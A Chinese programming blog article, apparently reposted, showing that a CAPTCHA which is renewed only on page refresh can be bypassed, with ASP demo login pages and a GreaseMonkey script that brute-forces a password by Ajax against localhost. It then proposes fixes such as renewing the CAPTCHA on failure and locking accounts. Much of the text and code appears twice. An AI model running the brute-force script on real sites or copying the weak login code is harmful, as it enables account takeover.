本文主要是介绍GreaseMonkey让网站登录验证码形同虚设,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
通常,为了增加暴力猜解网站用户密码的难度,我们会在网页登录框中增加一个验证码,验证码保存在服务器端,而客户端则使用一张图片显示:
验证码在整个登录过程表现为:用户打开登录页面时,服务器产生一个验证码,点击登录后,跳转到登录页面,服务器端检查用户输入的验证码是否正确,若错误,跳回到登录页面,生成一个新验证码让用户再次输入登录。 注意,生成新验证码的条件是登录页面刷新了!
以前没觉得这有什么问题,今天了解12306自动登录脚本后,发现这问题太严重了,当使用GreaseMonkey时,简直可以无视验证码的存在,原因是 借助GreaseMonkey可以在页面使用Ajax提交表单进行登录,这过程不会刷新登录页面,所以服务器不会生成新验证码,因而只要手工输下验证码,脚本就可以不断尝试登录进行猜解用户名密码!
1.GreaseMonkey自动登录演示
为了减少代码量,便于说明问题,下边演示时验证码不转为图形,直接输出Session,效果一样,不影响结论。

验证码在整个登录过程表现为:用户打开登录页面时,服务器产生一个验证码,点击登录后,跳转到登录页面,服务器端检查用户输入的验证码是否正确,若错误,跳回到登录页面,生成一个新验证码让用户再次输入登录。 注意,生成新验证码的条件是登录页面刷新了!
以前没觉得这有什么问题,今天了解12306自动登录脚本后,发现这问题太严重了,当使用GreaseMonkey时,简直可以无视验证码的存在,原因是 借助GreaseMonkey可以在页面使用Ajax提交表单进行登录,这过程不会刷新登录页面,所以服务器不会生成新验证码,因而只要手工输下验证码,脚本就可以不断尝试登录进行猜解用户名密码!
1.GreaseMonkey自动登录演示
为了减少代码量,便于说明问题,下边演示时验证码不转为图形,直接输出Session,效果一样,不影响结论。
Default.asp:
View Code


<%@LANGUAGE= " VBSCRIPT " CODEPAGE= " 65001 "%>
<!DOCTYPE html PUBLIC " -//W3C//DTD XHTML 1.0 Transitional//EN " " http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd ">
<html xmlns= " http://www.w3.org/1999/xhtml ">
<head>
<meta http-equiv= " Content-Type " content= " text/html; charset=utf-8 " />
<title>登录演示</title>
</head>
<body>
<%
Randomize
SESSION( " passCode ") = Int( 8999* Rnd+ 1000) ' 生成验证码
%>
<form id= " form1 " name= " form1 " method= " post " action= " Login.asp ">
用户名:<input type= " text " name= " txtUsn " id= " txtUsn " /><br />
密码:<input type= " text " name= " txtUsp " id= " txtUsp " /><br />
验证码:<input type= " text " name= " txtPassCode " id= " txtPassCode " /><%=SESSION( " passCode ")%> <br />
<input type= " submit " name= " btn1 " id= " btn1 " value= " 提交 " />
</form>
</body>
</html>
<!DOCTYPE html PUBLIC " -//W3C//DTD XHTML 1.0 Transitional//EN " " http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd ">
<html xmlns= " http://www.w3.org/1999/xhtml ">
<head>
<meta http-equiv= " Content-Type " content= " text/html; charset=utf-8 " />
<title>登录演示</title>
</head>
<body>
<%
Randomize
SESSION( " passCode ") = Int( 8999* Rnd+ 1000) ' 生成验证码
%>
<form id= " form1 " name= " form1 " method= " post " action= " Login.asp ">
用户名:<input type= " text " name= " txtUsn " id= " txtUsn " /><br />
密码:<input type= " text " name= " txtUsp " id= " txtUsp " /><br />
验证码:<input type= " text " name= " txtPassCode " id= " txtPassCode " /><%=SESSION( " passCode ")%> <br />
<input type= " submit " name= " btn1 " id= " btn1 " value= " 提交 " />
</form>
</body>
</html>
Login.asp:
View Code


<%
Response.Charset = " utf-8 "
Dim usn, usp, code, msg
usn = Request.Form( " txtUsn ")
usp = Request.Form( " txtUsp ")
code = Request.Form( " txtPassCode ")
Response.Write(Login(usn, usp, code))
' 登录函数
Function Login(usn, usp, code)
If SESSION( " Login ") = True Then
Login = " 登录成功. "
Else
If usn<> "" And usp<> "" Then
If code<> CStr(SESSION( " passCode ")) Then
Login = " 验证码出错,请重新输入. "
Exit Function
End If
If usn= " admin " And usp= " admin888 " Then
SESSION( " Login ") = True
Login = " 登录成功. "
Else
Login = " 用户名或密码出错,请重新输入. "
End If
Else
Login = " 用户未登录. "
End If
End If
End Function
%>
Response.Charset = " utf-8 "
Dim usn, usp, code, msg
usn = Request.Form( " txtUsn ")
usp = Request.Form( " txtUsp ")
code = Request.Form( " txtPassCode ")
Response.Write(Login(usn, usp, code))
' 登录函数
Function Login(usn, usp, code)
If SESSION( " Login ") = True Then
Login = " 登录成功. "
Else
If usn<> "" And usp<> "" Then
If code<> CStr(SESSION( " passCode ")) Then
Login = " 验证码出错,请重新输入. "
Exit Function
End If
If usn= " admin " And usp= " admin888 " Then
SESSION( " Login ") = True
Login = " 登录成功. "
Else
Login = " 用户名或密码出错,请重新输入. "
End If
Else
Login = " 用户未登录. "
End If
End If
End Function
%>
GreaseMonkey脚本:
View Code


// ==UserScript==
// @name 自动登录
// @namespace com.mzwu
// @include http://localhost/default.asp
// @require https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
// ==/UserScript==
if( typeof($) != "undefined")
{
$("body").append("<input type=\"button\" name=\"btn2\" id=\"btn2\" value=\"登录测试\" />");
$("#btn2").click( function(){
var usn = "admin";
var usp = "";
var code = $("#txtPassCode").val();
var responseText = "";
var i = 0;
while(responseText.indexOf("登录成功") == -1)
{
usp = "admin88" + (++i); // 猜解密码
$.ajax({
type : "POST",
url : "Login.asp?r=" + Math.random(),
data : "txtUsn=" + usn + "&txtUsp=" + usp + "&txtPassCode=" + code,
async: false,
success : function(msg){
responseText = msg;
if(responseText.indexOf("登录成功") != -1)
{
alert("登录成功.尝试次数:" + i);
location.href = "Login.asp";
}
}
});
}
});
clearInteval(timer);
}
// @name 自动登录
// @namespace com.mzwu
// @include http://localhost/default.asp
// @require https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
// ==/UserScript==
if( typeof($) != "undefined")
{
$("body").append("<input type=\"button\" name=\"btn2\" id=\"btn2\" value=\"登录测试\" />");
$("#btn2").click( function(){
var usn = "admin";
var usp = "";
var code = $("#txtPassCode").val();
var responseText = "";
var i = 0;
while(responseText.indexOf("登录成功") == -1)
{
usp = "admin88" + (++i); // 猜解密码
$.ajax({
type : "POST",
url : "Login.asp?r=" + Math.random(),
data : "txtUsn=" + usn + "&txtUsp=" + usp + "&txtPassCode=" + code,
async: false,
success : function(msg){
responseText = msg;
if(responseText.indexOf("登录成功") != -1)
{
alert("登录成功.尝试次数:" + i);
location.href = "Login.asp";
}
}
});
}
});
clearInteval(timer);
}
测试结果:
2.解决方法
提供两种解决方法供参考:
方法一:当验证登录用户名或密码出错时,服务器端强制生成新验证码;
方法二:当尝试登录5次失败时,将帐户锁定一段时间不能登录;
3.参考资料
[1].Firefox扩展Greasemonkey使用示例: http://www.mzwu.com/article.asp?id=3091
这篇关于GreaseMonkey让网站登录验证码形同虚设的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!